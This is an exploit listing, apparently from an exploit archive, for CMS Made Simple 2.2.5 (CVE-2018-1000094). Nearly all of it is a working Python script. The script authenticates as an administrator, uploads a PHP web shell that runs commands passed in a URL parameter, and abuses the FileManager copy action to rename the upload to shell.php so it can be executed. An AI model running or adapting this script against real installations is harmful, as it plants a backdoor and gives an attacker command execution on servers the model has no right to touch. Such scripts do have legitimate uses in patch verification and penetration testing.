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CMS Made Simple 2.2.5 - Remote Code Execution Exploit
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# Exploit Title: CMS Made Simple 2.2.5 authenticated Remote Code Execution # Exploit Author: Mustafa Hasan (@strukt93) # Vendor Homepage: http://www.cmsmadesimple.org/ # Software Link: http://www.cmsmadesimple.org/downloads/cmsms/ # Version: 2.2.5 # CVE: CVE-2018-1000094 import requests import base64 base_url = "http://192.168.1.10/cmsms/admin" upload_dir = "/uploads" upload_url = base_url.split('/admin')[0] + upload_dir username = "admin" password = "password" csrf_param = "__c" txt_filename = 'cmsmsrce.txt' php_filename = 'shell.php' payload = "<?php system($_GET['cmd']);?>" def parse_csrf_token(location): return location.split(csrf_param + "=")[1] def authenticate(): page = "/login.php" url = base_url + page data = { "username": username, "password": password, "loginsubmit": "Submit" } response = requests.post(url, data=data, allow_redirects=False) status_code = response.status_code if status_code == 302: print "[+] Authenticated successfully with the supplied credentials" return response.cookies, parse_csrf_token(response.headers['Location']) print "[-] Authentication failed" return None, None def upload_txt(cookies, csrf_token): mact = "FileManager,m1_,upload,0" page = "/moduleinterface.php" url = base_url + page data = { "mact": mact, csrf_param: csrf_token, "disable_buffer": 1 } txt = { 'm1_files[]': (txt_filename, payload) } print "[*] Attempting to upload {}...".format(txt_filename) response = requests.post(url, data=data, files=txt, cookies=cookies) status_code = response.status_code if status_code == 200: print "[+] Successfully uploaded {}".format(txt_filename) return True print "[-] An error occurred while uploading {}".format(txt_filename) return None def copy_to_php(cookies, csrf_token): mact = "FileManager,m1_,fileaction,0" page = "/moduleinterface.php" url = base_url + page b64 = base64.b64encode(txt_filename) serialized = 'a:1:{{i:0;s:{}:"{}";}}'.format(len(b64), b64) data = { "mact": mact, csrf_param: csrf_token, "m1_fileactioncopy": "", "m1_path": upload_dir, "m1_selall": serialized, "m1_destdir": "/", "m1_destname": php_filename, "m1_submit": "Copy" } print "[*] Attempting to copy {} to {}...".format(txt_filename, php_filename) response = requests.post(url, data=data, cookies=cookies, allow_redirects=False) status_code = response.status_code if status_code == 302: if response.headers['Location'].endswith('copysuccess'): print "[+] File copied successfully" return True print "[-] An error occurred while copying, maybe {} already exists".format(php_filename) return None def quit(): print "[-] Exploit failed" exit() def run(): cookies,csrf_token = authenticate() if not cookies: quit() if not upload_txt(cookies, csrf_token): quit() if not copy_to_php(cookies, csrf_token): quit() print "[+] Exploit succeeded, shell can be found at: {}".format(upload_url + '/' + php_filename) run() # 0day.today [2024-09-28] #